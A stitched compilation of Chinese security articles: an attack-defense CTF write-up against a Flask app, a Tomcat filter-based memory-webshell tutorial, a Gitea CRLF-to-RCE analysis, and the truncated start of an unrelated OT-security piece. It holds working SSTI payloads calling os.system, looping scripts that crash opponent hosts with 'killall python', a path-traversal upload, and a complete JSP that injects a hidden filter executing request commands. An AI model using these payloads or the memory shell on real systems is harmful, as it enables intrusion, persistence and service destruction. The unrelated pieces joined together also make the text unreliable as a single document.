2.数据使用为sqlite，并且基本上代码不存在注入，同时我们也拥有数据库，所以基本上用户相关的增删改查基本无效
所以我们的分析点并不是在register,login等操作上
这样一来，目标大幅减小为
1.hello
2.getimage
3.test
我们逐个击破
### SSRF攻击点发现
这里我看到一个奇怪的路由
getimage
很像是刻意为之，代码如下
@auth.route('/getimage/<url>')
def getimage(url):
url=base64.b64decode(url)
img=requests.get(url)
return img.content
首先逻辑上，我们似乎并不需要远程获取图片，这个功能十分多余。
其次在代码上，这样的代码显然存在严重问题
我们清楚的能看到
<url>
参数没有任何的过滤，这显然会导致严重的SSRF攻击
我们尝试
http://127.0.0.1/flag
然后进行编码
aHR0cDovLzEyNy4wLjAuMS9mbGFn
我们访问
http://192.168.130.157:23232/auth/getimage/aHR0cDovLzEyNy4wLjAuMS9mbGFn
发现成功读取了flag信息
注：有人说这个方法多余,flag直接在web目录下，可以直接访问。实际上当时比赛的时候，主办方的规则是让我们用目标主机请求flag主机以获取flag，而这样的ssrf刚好适用
### SSRF攻击点利用脚本
于是发现后，我们迅速写了通杀脚本
#!/usr/bin/env python
#coding:utf-8
import requests as req
import base64
url = 'http://172.16.0.%s/auth/getimage/aHR0cDovLzE3Mi4xNi4wLjMwOjgwMDAvZmxhZw=='
for x in [151,156,161,166,176,181,186,191,196,201]:
urll = url%(x)
try:
f = req.get(url=urll)
print f.content
except:
pass
即可坐收flag
但随后我意识到，这是一个get的请求，流量可以轻松发现漏洞，所以这样获取flag的方式是非常不稳的，很快就会被大家发现，所以我又开始了新的发掘之路
### SSTI攻击发现
解决了上一个可疑路由，我又发现了一个新的可疑路由
@auth.route('/test', methods=['GET', 'POST'])
def test():
if request.method=='POST':
if valid_login(request.form['username'],request.form['password']):
f=open('/tmp/'+request.form['username'],'w+')
f.write(request.form['x'])
f.close()
f=open('/tmp/'+request.form['username'],'r')
txt=f.read()
template = Template(txt)
return template.render()
else:
flash('just a test')
return redirect(url_for('auth.login'))
为什么莫名其妙会留了个test路由？只是为了测试吗？我迫不及待的进行审计
随后可以迅速的发现问题，首先是判断检测
if request.method=='POST':
...
else:
flash('just a test')
return redirect(url_for('auth.login'))
可以看出必须用POST方式
然后是下一个条件检测
if valid_login(request.form['username'],request.form['password'])
我们跟进这个检测函数valid_login()
def valid_login(username,password):
if username==base64.b64decode(password):
return True
else:
return False
很明显，这是出题人瞎写的检测，只需要username和password解base64的值相等即可
然后我们看下面的操作
f=open('/tmp/'+request.form['username'],'w+')
f.write(request.form['x'])
f.close()
f=open('/tmp/'+request.form['username'],'r')
txt=f.read()
template = Template(txt)
return template.render()
后续操作会在
/tmp
目录下创建一个以我们输入username为文件名的文件，然后将x参数的值写入该文件
然后再打开这个文件，再进行模板渲染
这就会引起严重的问题，因为渲染的内容，是我们随意控制的
我们不妨本地测试一下
root@ubuntu:/var/www/html# python
Python 2.7.12 (default, Dec 4 2017, 14:50:18)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> [c for c in [].__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
1.tar.gz flag flasky index.php QWBflask test
而这里会渲染我们写入的内容，所以我们构造
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{c.__init__.func_globals['linecache'].__dict__['os'].system('ls /') }}
{% endif %}
{% endfor %}
我们进行url编码
%7b%25%20%66%6f%72%20%63%20%69%6e%20%5b%5d%2e%5f%5f%63%6c%61%73%73%5f%5f%2e%5f%5f%62%61%73%65%5f%5f%2e%5f%5f%73%75%62%63%6c%61%73%73%65%73%5f%5f%28%29%20%25%7d%0a%7b%25%20%69%66%20%63%2e%5f%5f%6e%61%6d%65%5f%5f%20%3d%3d%20%27%63%61%74%63%68%5f%77%61%72%6e%69%6e%67%73%27%20%25%7d%0a%7b%7b%63%2e%5f%5f%69%6e%69%74%5f%5f%2e%66%75%6e%63%5f%67%6c%6f%62%61%6c%73%5b%27%6c%69%6e%65%63%61%63%68%65%27%5d%2e%5f%5f%64%69%63%74%5f%5f%5b%27%6f%73%27%5d%2e%73%79%73%74%65%6d%28%27%6c%73%20%2f%27%29%20%7d%7d%0a%7b%25%20%65%6e%64%69%66%20%25%7d%0a%7b%25%20%65%6e%64%66%6f%72%20%25%7d
并构造payload
x=%7b%25%20%66%6f%72%20%63%20%69%6e%20%5b%5d%2e%5f%5f%63%6c%61%73%73%5f%5f%2e%5f%5f%62%61%73%65%5f%5f%2e%5f%5f%73%75%62%63%6c%61%73%73%65%73%5f%5f%28%29%20%25%7d%0a%7b%25%20%69%66%20%63%2e%5f%5f%6e%61%6d%65%5f%5f%20%3d%3d%20%27%63%61%74%63%68%5f%77%61%72%6e%69%6e%67%73%27%20%25%7d%0a%7b%7b%63%2e%5f%5f%69%6e%69%74%5f%5f%2e%66%75%6e%63%5f%67%6c%6f%62%61%6c%73%5b%27%6c%69%6e%65%63%61%63%68%65%27%5d%2e%5f%5f%64%69%63%74%5f%5f%5b%27%6f%73%27%5d%2e%73%79%73%74%65%6d%28%27%6c%73%20%2f%27%29%20%7d%7d%0a%7b%25%20%65%6e%64%69%66%20%25%7d%0a%7b%25%20%65%6e%64%66%6f%72%20%25%7d
&username=sky
&password=c2t5
然后我们可以看一下
192.168.130.1 - - [15/Apr/2018 00:20:51] "POST /auth/test HTTP/1.1" 200 - bin etc lib mnt run sys vmlinuz
boot home lib64 opt sbin tmp vmlinuz.old
cdrom initrd.img lost+found proc snap usr
dev initrd.img.old media root srv var
发现命令在服务器上执行成功
### SSTI攻击点利用脚本
发现可以命令执行，我们马上想到反弹shell,但是这样未免过于繁琐
后来队友想出了更加XD的思路
killall python
因为主办方没有说不能这样使目标宕机
于是我们尝试
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{c.__init__.func_globals['linecache'].__dict__['os'].system('killall python') }}
{% endif %}
{% endfor %}
我们执行
x=%7b%25%20%66%6f%72%20%63%20%69%6e%20%5b%5d%2e%5f%5f%63%6c%61%73%73%5f%5f%2e%5f%5f%62%61%73%65%5f%5f%2e%5f%5f%73%75%62%63%6c%61%73%73%65%73%5f%5f%28%29%20%25%7d%0a%7b%25%20%69%66%20%63%2e%5f%5f%6e%61%6d%65%5f%5f%20%3d%3d%20%27%63%61%74%63%68%5f%77%61%72%6e%69%6e%67%73%27%20%25%7d%0a%7b%7b%63%2e%5f%5f%69%6e%69%74%5f%5f%2e%66%75%6e%63%5f%67%6c%6f%62%61%6c%73%5b%27%6c%69%6e%65%63%61%63%68%65%27%5d%2e%5f%5f%64%69%63%74%5f%5f%5b%27%6f%73%27%5d%2e%73%79%73%74%65%6d%28%27%6b%69%6c%6c%61%6c%6c%20%70%79%74%68%6f%6e%27%29%20%7d%7d%0a%7b%25%20%65%6e%64%69%66%20%25%7d%0a%7b%25%20%65%6e%64%66%6f%72%20%25%7d&username=sky&password=c2t5
目标机器瞬间宕机
这样快捷的操作，分值显然高于flag的得分，要知道，一台机子宕机是100分，而一个flag仅仅25分，而当时的check，竟然是和flag发放一样，5分钟一轮，这样的宕机方法瞬间给我们带来了巨大收益
我们迅速写出了攻击脚本
#!/usr/bin/env python
#coding:utf-8
import requests as req
import base64
import time
url = 'http://172.16.0.%s/auth/test'
payload = '%7b%25%20%66%6f%72%20%63%20%69%6e%20%5b%5d%2e%5f%5f%63%6c%61%73%73%5f%5f%2e%5f%5f%62%61%73%65%5f%5f%2e%5f%5f%73%75%62%63%6c%61%73%73%65%73%5f%5f%28%29%20%25%7d%0a%7b%25%20%69%66%20%63%2e%5f%5f%6e%61%6d%65%5f%5f%20%3d%3d%20%27%63%61%74%63%68%5f%77%61%72%6e%69%6e%67%73%27%20%25%7d%0a%7b%7b%63%2e%5f%5f%69%6e%69%74%5f%5f%2e%66%75%6e%63%5f%67%6c%6f%62%61%6c%73%5b%27%6c%69%6e%65%63%61%63%68%65%27%5d%2e%5f%5f%64%69%63%74%5f%5f%5b%27%6f%73%27%5d%2e%73%79%73%74%65%6d%28%27%6b%69%6c%6c%61%6c%6c%20%70%79%74%68%6f%6e%27%29%20%7d%7d%0a%7b%25%20%65%6e%64%69%66%20%25%7d%0a%7b%25%20%65%6e%64%66%6f%72%20%25%7d'
data = {
'x':payload,,
'username':'sky',
'password':'c2t5'
}
while True:
for i in [151,156,161,166,176,181,186,191,196,201]:
urll = url%(i)
try:
f = req.post(url=urll,data=data)
print url1,"is down!"
except:
pass
time.sleep(120)
### SSTI再研究
但此时我们并不能安于现状，我们继续审计漏洞
我们回顾一下，剩下还未被研究的可疑路由只剩一个
hello
所以我的目标一下落在了hello这个奇怪路由上
@auth.route('/hello')
def hello():
html=open('/var/www/html/flasky/app/templates/test.txt','r')
template = Template(html.read())
return template.render()
这个路由会渲染
/var/www/html/flasky/app/templates/
目录下的test.txt文件，但是目前这个文件夹下的test.txt是一个正经的文件，我们需要一个任意文件写入，或者上传的点，这个点我们先mark下来！后续会进行利用
## main文件夹
该文件夹下有4个文件
__init__.py
errors.py
forms.py
views.py
其中
__init__.py
用于初始化
errors.py
用于处理403,404,500等状态
forms.py
用于表单的接受处理，同样几乎不存在问题
views.py
同样是路由，也是核心，有了上一个文件夹的经验，我们用同样的方法进行分析
def allowed_file(filename):
@main.after_app_request
def after_request(response):
@main.route('/shutdown')
def server_shutdown():
@main.route('/', methods=['GET', 'POST'])
def index():
@main.route('/user/<username>')
def user(username):
@main.route('/edit-profile', methods=['GET', 'POST'])
@login_required
def edit_profile():
@main.route('/edit-profile/<int:id>', methods=['GET', 'POST'])
@login_required
@admin_required
def edit_profile_admin(id):
@main.route('/post/<int:id>', methods=['GET', 'POST'])
def post(id):
@main.route('/upload', methods=['GET', 'POST'])
@login_required
def upload():
@main.route('/edit/<int:id>', methods=['GET', 'POST'])
@login_required
def edit(id):
@main.route('/download/<filename>')
@login_required
def download(filename):
@main.route('/follow/<username>')
@login_required
@permission_required(Permission.FOLLOW)
def follow(username):
@main.route('/unfollow/<username>')
@login_required
@permission_required(Permission.FOLLOW)
def unfollow(username):
@main.route('/followers/<username>')
def followers(username):
@main.route('/followed-by/<username>')
def followed_by(username):
@main.route('/all')
@login_required
def show_all():
@main.route('/followed')
@login_required
def show_followed():
@main.route('/moderate')
@login_required
@permission_required(Permission.MODERATE_COMMENTS)
def moderate():
@main.route('/moderate/enable/<int:id>')
@login_required
@permission_required(Permission.MODERATE_COMMENTS)
def moderate_enable(id):
@main.route('/moderate/disable/<int:id>')
@login_required
@permission_required(Permission.MODERATE_COMMENTS)
def moderate_disable(id):
这里不难看出，大部分都是需要登录后的操作,因为这里我们还没有涉及登录，所以我们先看无需登录的路由
@main.after_app_request
def after_request(response):
@main.route('/shutdown')
def server_shutdown():
@main.route('/', methods=['GET', 'POST'])
def index():
@main.route('/user/<username>')
def user(username):
@main.route('/post/<int:id>', methods=['GET', 'POST'])
def post(id):
@main.route('/followers/<username>')
def followers(username):
@main.route('/followed-by/<username>')
def followed_by(username):
依次检查过去，除了shutdown()这个看起来就很可疑的路由外，其他的基本不存在问题。所以我们的重心来到shutdown()的分析
### 超坑的shutdown()
我们不难发现一个奇怪的路由
@main.route('/shutdown')
def server_shutdown():
if not current_app.testing:
abort(404)
shutdown = request.environ.get('werkzeug.server.shutdown')
if not shutdown:
abort(500)
shutdown()
return 'Shutting down...'
一开始我以为这个访问之后就会使服务宕机
但是测试了N久，发现都是抛出404
后面我跟了一下这个
current_app.testing
跟踪tesing
testing = ConfigAttribute('TESTING')
继续跟踪ConfigAttribute()
class ConfigAttribute(object):
"""Makes an attribute forward to the config"""
def __init__(self, name, get_converter=None):
self.__name__ = name
self.get_converter = get_converter
def __get__(self, obj, type=None):
if obj is None:
return self
rv = obj.config[self.__name__]
if self.get_converter is not None:
rv = self.get_converter(rv)
return rv
def __set__(self, obj, value):
obj.config[self.__name__] = value
发现TESTING是对象，查找默认配置
default_config = ImmutableDict({
'DEBUG': get_debug_flag(default=False),
'TESTING': False,
......
})
发现TESTING默认是False,由ConfigAttribute()传递给testing
回到之前的判断
if not current_app.testing:
abort(404)
不难看出判断成立，所以abort()
这里应该是出题人留的坑吧= =好像并不能使用
## 密码发掘
当然我们不会止步于目前的现状
因为框架中main文件夹带有大量登录的功能，为了继续发掘，我们进行密码探寻
显然数据库中存在唯一数据
username:xdctf
password_hash:pbkdf2:sha256:50000$ziAb6YfH$fa52620060a18fd86baf6b3b7f797cbcb325956898077752e8c14585aa3af044
直接破解不存在可能
经过弱密码破解过了一会儿也没有结果
最后我们选择直接尝试题目最开始的服务器初始密码
没想到阴差阳错登录成功
下面我们来探查需要登录的功能是否存在攻击点
## login之后的攻击
### upload+SSTI攻击组合
想到之前的
/auth/hello
路由的方法
@auth.route('/hello')
def hello():
html=open('/var/www/html/flasky/app/templates/test.txt','r')
template = Template(html.read())
return template.render()
我们只要上传test.txt到指定目录即可
此时我们看上传功能
@main.route('/upload', methods=['GET', 'POST'])
@login_required
def upload():
if request.method == 'POST':
file = request.files['file']
if file and allowed_file(file.filename):
filename = file.filename
file.save(os.path.join(UPLOAD_FOLDER, filename))
return 'upload success'
else:
return 'dont allow'
return render_template('upload.html',pagination=False)
此时存在过滤allowed_file()
我们跟踪一下
def allowed_file(filename):
return '.' in filename and
filename.rsplit('.', 1)[1] in ALLOWED_EXTENSIONS
我们继续跟一下后缀白名单`ALLOWED_EXTENSIONS`
ALLOWED_EXTENSIONS = set(['txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif','html'])
发现txt允许上传，根本无需Bypass
我们再看上传路径
file.save(os.path.join(UPLOAD_FOLDER, filename))
跟一下`UPLOAD_FOLDER`
UPLOAD_FOLDER = '/tmp'
不难看出存在目录穿越问题
对于文件名只检查了后缀名，而除此之外也不存在过滤
所以我们可以构造这样的filename
../../../../../../../var/www/html/flasky/app/templates/test.txt
数据包
------WebKitFormBoundaryp48DQKUgx3itH8PS
Content-Disposition: form-data; name="file"; filename="../../../../../../../var/www/html/flasky/app/templates/test.txt"
Content-Type: text/plain
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{c.__init__.func_globals['linecache'].__dict__['os'].system('ls /') }}
{% endif %}
{% endfor %}
------WebKitFormBoundaryp48DQKUgx3itH8PS--
我们去触发模板渲染
不难看到
bin dev initrd.img lib64 mnt root snap tmp vmlinuz
boot etc initrd.img.old lost+found opt run srv usr vmlinuz.old
cdrom home lib media proc sbin sys var
192.168.130.1 - - [15/Apr/2018 05:33:59] "GET /auth/hello HTTP/1.1" 200 -
我们成功触发了SSTI攻击
此时只要效仿之前的SSTI打法即可
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{c.__init__.func_globals['linecache'].__dict__['os'].system('killall python') }}
{% endif %}
{% endfor %}
通杀宕机，稳坐拿分XD
但是这样的方法也有些鸡肋
毕竟登录+上传才可以触发
通杀脚本想打20台机子，比较麻烦，还得挨个尝试默认密码登录获取session
再模拟上传，再触发渲染导致攻击，所以这里的通杀脚本就不赘述了。
### 任意文件下载
@main.route('/download/<filename>')
@login_required
def download(filename):
filename=base64.b64decode(filename)
f=open(filename,'r')
return f.read()
上传过后自然想到的是下载，这里的下载也显然是毫无过滤的
不难看出只需要构造
/var/www/html/flag
再经过base64
L3Zhci93d3cvaHRtbC9mbGFn
访问
/download/L3Zhci93d3cvaHRtbC9mbGFn
即可下载flag文件
### 鸡肋鸡肋
但是比较痛苦的一点是
登录后打击需要满足多个条件：
1.你的对手没有发现数据库中留下的用户默认密码为服务器密码
2.你的对手没有更改默认密码
同时，即便你这样做到了登录，并偷偷修改了对手的默认用户密码，一旦对手发现了这一点
他们可以直接操纵数据库强行更改密码。这样你也无可奈何。毕竟我们没有邮箱注册的方法。
除非我们能够迅速操作并留下不死马
## 总结
总得来看，这次的漏洞点还算都比较明显，应该出题人是尽责自己纯手写的代码了。当然在现场比赛的时候，静心审计代码并且快速利用还是有些困难的。希望自己能变的越来越好吧~
当然有大师傅们有什么奇淫技巧也可以和我多多交流XD~ | 社区文章 |
基于filter的内存马：
主要是通过过滤器来拦截severlet请求中的参数，作为过滤器中的参数，来调用自定义过滤器中的恶意函数
在这里我们分析一下filter的实现原理，循序渐进
Demo1：
直接使用filter模拟内存马效果：
1.配置一个简单的severlet的web项目：
实现一个filter类：
package com.naihe;
import javax.servlet.*;
import java.io.IOException;
public class FilertDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("初始加完成");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
servletRequest.setCharacterEncoding("utf-8");
servletResponse.setCharacterEncoding("utf-8");
servletResponse.setContentType("text/html;charset=UTF-8");
filterChain.doFilter(servletRequest,servletResponse);
System.out.println(servletRequest.getParameter("shell"));
Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
System.out.println("过滤中。。。");
}
@Override
public void destroy() {
System.out.println("过滤结束");
}
}
配置xml：
<filter>
<filter-name>enfilter</filter-name>
<filter-class>com.naihe.FilertDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>enfilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
效果：
可以看到这个无需指定木马文件就能实现webshell，看似很厉害，其实了解java开发都小伙伴都懂这都是最基础serverlet的基本功能，只是添加了一些恶意代码而已。不过这第一步我们就对内存马有了一定的感受（只是感受），接下来就是注意细节，该如何让它在实际中应用与更加隐蔽。
Demo2：
但凡有一点安全意思的小伙伴就会想，谁脑子出问题了，居然会在自家代码中插入这些代码。现在我们开始隐藏与实现
package com.naihe;
import javax.servlet.*;
import java.io.IOException;
public class FilertDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("初始加完成");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
servletRequest.setCharacterEncoding("utf-8");
servletResponse.setCharacterEncoding("utf-8");
servletResponse.setContentType("text/html;charset=UTF-8");
filterChain.doFilter(servletRequest,servletResponse);
System.out.println(servletRequest.getParameter("shell"));
Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
System.out.println("过滤中。。。");
}
@Override
public void destroy() {
System.out.println("过滤结束");
}
}
当然这里的代码还是之前的代码，只是为了方便小伙伴们看源码。
这里我们不使用xml配置filter，这样做的目的就是为了在实际中不修改xml从而触发filter，因为实际渗透中xml是不易修改的，而且容易被发现。
所以，现在我们就开始一步一步分析tomcat是如何通过web.xml生成的filter对象。
首先我们在filterChain变量这里打上断点
跟进doFilter:
会发现ApplicationFilterChain类的filters属性中包含了filter的信息
注意这里的第二个过滤器是tomcat自带的过滤器，且面分析还会用到
跟进internalDoFilter:
可以看到这里的filterConfig类中的filter并非我们之前创建的filter，因此我们可以回过头来看一下有没有我们的想要的filterConfig
确实存在，证明，这里的filter加载是按照顺序进行加载的，因此我们就当中我们在分析第一个filter（自定义的）。
进行查看代码发现后面调用了doFilter
这里就可以进入到tomcat自带的filter
filter切换大概流程：
ApplicationFilterChain（记录了所有filter的信息）--将$this->filter--》filterConfig（获得了一个filter的相关信息）--filterConfig.filter--》filter
--doFilter--》调用自定义filter中的恶意代码
分析到现在，ApplicationFilterChain到底从何而来呢？
我们往前找，找到了StandardWrapperValve这个类，他调用ApplicationFilterFactory的createFilterChain来创建了FilterChain对象
（然后自己调用doFilter进入第一个过滤器)
那么这个FilterChain对象是如何获取filert的相关信息的呢？
下面继续分析
往下查看其他代码发现并没有对filterChain中的值继续改变，说明filterChain中的与filter相关内容在创建是就已经填入了
因此进入ApplicationFilterFactory一探究竟
存放着过滤器名，过滤器实例
在这里获取获取filter的名字和对应的url
这里对应的是名字和过滤器的全限定名
将filterMap的内容添加到filterChain中，并返回filter的值
可知这三个属性都是与filter有关的
那这些值又是从何而来了，继续分析
可以看到又调用了一个类用来创建context，继续吧，
其实到后面分析的话就还是比较复杂了，然而我们也没必要溯源到底，我直接用反射创建对象利用就行，主要能让这个filter添加到其他filter里一起运行就行了。
又回到之前ApplicationFilterFactory里，这里会返回filterChain这个对象，如果我们直接filterConfig的内容，是不是就能在filterChain调用addFilter时，将filter添加进去。
而在上面分析，fiterConfig的内容都是从context中得到，因此只要我们能控制context的内容就行了
FilterDefs：存放 FilterDef 的数组 ，FilterDef 中存储着我们过滤器名，过滤器实例
等基本信息
FilterConfigs：存放 filterConfig 的数组，在 FilterConfig 中主要存放 FilterDef 和
Filter 对象等信息
FilterMaps：存放 FilterMap 的数组，在 FilterMap 中主要存放了 FilterName 和 对
应的 URLPattern
只要我们将filter ，FilterDefs，FilterMaps添加到FilterConfigs中就可以添加filter了
在这之前我们需要了解一些知识：
ServletContext：
javax.servlet.ServletContextServlet规范中规定了的一个ServletContext接口，提供了Web应用所有Servlet的视图，通过它可以对某个Web应用的各种资源和功能进行访问。WEB容器在启动时，它会为每个Web应用程序都创建一个对应的ServletContext，它代表当前Web应用。并且它被所有客户端共享。
ApplicationContext：
org.apache.catalina.core.ApplicationContext
对应Tomcat容器，为了满足Servlet规范，必须包含一个ServletContext接口的实现。Tomcat的Context容器中都会包含一个ApplicationContext。
StandardContext：
Catalina主要包括Connector和Container，StandardContext就是一个Container，它主要负责对进入的用户请求进行处理。实际来说，不是由它来进行处理，而是交给内部的valve处理。
一个context表示了一个外部应用，它包含多个wrapper，每个wrapper表示一个servlet定义。（Tomcat 默认的 Service 服务是 Catalina）
这三类是必须的
总体流程：
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.IOException" %>
<%
//反射创建servletContext
ServletContext servletContext = request.getServletContext();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextFacadeContext.setAccessible(true);
//反射创建applicationContext
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
applicationContextContext.setAccessible(true);
//反射创建standardContext
StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);
//创建filterConfigs
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
String filterName = "Filter";
if (hashMap.get(filterName)==null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("注入初始化");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
servletRequest.setCharacterEncoding("utf-8");
servletResponse.setCharacterEncoding("utf-8");
servletResponse.setContentType("text/html;charset=UTF-8");
filterChain.doFilter(servletRequest,servletResponse);
System.out.println(servletRequest.getParameter("shell"));
Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
System.out.println("过滤中。。。");
}
@Override
public void destroy() {
// Filter.super.destroy();
}
};
//构造filterDef对象
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
//构造filterMap对象
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
//构造filterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
//将filterConfig添加到filterConfigs中，即可完成注入
hashMap.put(filterName,applicationFilterConfig);
response.getWriter().println("successfully");
}
%>
先访问：
在执行
这样一来我们就可以不用配置xml和创建filter类文件就可以直接，实现filter，并且就算jsp被删除，之前创建的对象依旧在内存中 | 社区文章 |
### 首话
在四月十三号的时候，gitea推送了v1.7.6版本，[更新日志](https://github.com/go-gitea/gitea/releases/tag/v1.7.6)说到修复了一个安全问题。之前都没有关注，直到这几天看到先知作者群的师傅们讨论了一下这个洞的利用手段，比较感兴趣，于是跟了一下。这个洞复现起来稍微有一点麻烦，主要是golang的动态调试我不熟悉，并且gitea貌似加了一点东西，无法直接使用vscode调试，需要编译一个debug.exe出来才能调试。
### 挖掘
首先看一看github的diff。
<https://github.com/go-gitea/gitea/pull/6593/commits/7ee6794ad5266398c03b1c320804c6c2a6ce34ee>
很明显修改点全是关于repo mirror的配置读写，也就是仓库镜像这个功能。其中让我怀疑的点有几个：
1. 删除了"gopkg.in/ini.v1"这个包
2. 添加了镜像地址的格式校验
3. 仅仅是配置读写，并没有命令注入
所以我认为"gopkg.in/ini.v1"这个包存在CRLF漏洞，在LoRexxar的帮助下，果不其然证实了的确存在，所以这个洞利用的第一步就是通过CRLF篡改配置文件。
动态跟一下，看看"gopkg.in/ini.v1"是怎么处理换行的：
根据diff，找到了SaveAddress这个函数，其中存在写配置操作，CRLF也应该是此时发生的。
进入SetValue方法
key结构体：
type Key struct {
s *Section
Comment string
name string
value string
isAutoIncrement bool
isBooleanType bool
isShadow bool
shadows []*Key
}
Section结构体:
type Section struct {
f *File
Comment string
name string
keys map[string]*Key
keyList []string
keysHash map[string]string
isRawSection bool
rawBody string
}
可以看到目前为止只是将我们输入的值写入了键值对，没有做任何处理。
接下来，进入方法SaveToIndent
File结构体中保存了此前写入的键值对
跟进writeToBuffer方法，看是如何将键值对解析并写入缓冲区的
关键点就是这里，判断了是否有换行、注释等符号，有的话就加上`"""`，此处应该是怕字符串产生歧义，这里通过闭合，就能逃逸了。
所以漏洞的第一步至此就分析完了。
如果觉得不优雅的话，可以刷新后再保存一次，程序逻辑是读取配置为内存中的键值对，此时就过了一次格式优化了，然后再重新写入配置文件。所以会让格式好看很多。
在找到了CRLF写配置文件后，需要做的就是找寻RCE点了。我第一时间想到的就是Hooks，Git及其衍生产品的漏洞总是离不开Hooks。
从 <https://github.com/git/git/commit/867ad08a2610526edb5723804723d371136fc643>
中得知，core.hooksPath为Hooks目录控制参数，所以我们只要想办法控制这个参数就有可能RCE了。
这里并不知道CRLF插入的core能否append参数，所以测试了一下
不过后来想到了，就算不能append参数，也可以利用之前的优化解析特性将core参数合并到一起。
接下来就是找寻能够控制的文件名，众所周知hooks的文件名必须是固定的。这里我卡了一会，一直想着要文件上传，不过其实利用临时仓库就可以控制文件内容了，可惜的是，这里存在两个缺陷导致无法利用，第一个就是无法找到准确的目录，临时仓库和git目录并没有绝对的相对关系，所以这里无法通过git目录找到临时仓库。还有个缺陷就是需要脚本有可执行权限。。。
结果是没利用成功，转而通过读源码以及参考手册<https://git-scm.com/docs/git-config>
，找了一些能执行命令的点，例如core.pager，但是很奇怪，直接执行能够触发，通过go却无法执行命令。这里需要对git进行调试，由于是子进程调试所以一直没有时间做。希望有师傅可以跟一下。
在绝望的时候，LuckyCat师傅告诉我说，`core.gitProxy`能够执行程序，但是无法带上参数。
我认为想要利用这个的话，必须要上传脚本到服务器然后执行，同样因为没有可执行权限，应该是没有办法利用的。
不过我注意到了预期相近的一个参数
`core.sshCommand`根据描述就是，当调用ssh的时候，使用我们提供的值替换ssh。这里常用作填充ssh参数，方便ssh使用。所以只要控制此参数，并调用`git
push`或者`git fetch`即可。
具体实现代码：<https://github.com/git/git/blob/6e0cc6776106079ed4efa0cc9abace4107657abf/connect.c>
if (protocol == PROTO_SSH) {
char *ssh_host = hostandport;
const char *port = NULL;
transport_check_allowed("ssh");
get_host_and_port(&ssh_host, &port);
if (!port)
port = get_port(ssh_host);
if (flags & CONNECT_DIAG_URL) {
printf("Diag: url=%s\n", url ? url : "NULL");
printf("Diag: protocol=%s\n", prot_name(protocol));
printf("Diag: userandhost=%s\n", ssh_host ? ssh_host : "NULL");
printf("Diag: port=%s\n", port ? port : "NONE");
printf("Diag: path=%s\n", path ? path : "NULL");
free(hostandport);
free(path);
free(conn);
strbuf_release(&cmd);
return NULL;
}
conn->trace2_child_class = "transport/ssh";
fill_ssh_args(conn, ssh_host, port, version, flags);
} else {
可以看到当使用ssh协议的时候就会进入此分支。一开始还在找直接调用`git fetch`或者`git
push`的触发点，这时候LuckyCat师傅说直接`git remote update`也行，其中调用了git fetch。
试了下，确实是这样的，所以此时直接使用镜像仓库的同步功能就能够触发了，并且可以传递参数。
### 结语
至此，利用链就完整了。近几年的几个gitea的大洞都是组合拳，玩起来相当有意思。另外，代码分析的并不是特别多，尤其是最后触发点。有点太靠运气了，不过时间实在是不够了，有空的时候再分析一下git部分。
最后，希望有生之年我也能挖到233 | 社区文章 |
# 提升OT安全性的3个有效对策
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
世界上每一家公司都依赖于OT（Operational
Technology，运营技术）网络。《财富》杂志上榜的近一半企业，包括石油天然气、能源、公用事业、制造业、制药以及食品和饮料等行业中，OT网络都是其业务的关键组成部分。其他企业则依赖OT网络来运行他们的办公基础设施——照明、电梯和数据中心基础设施。
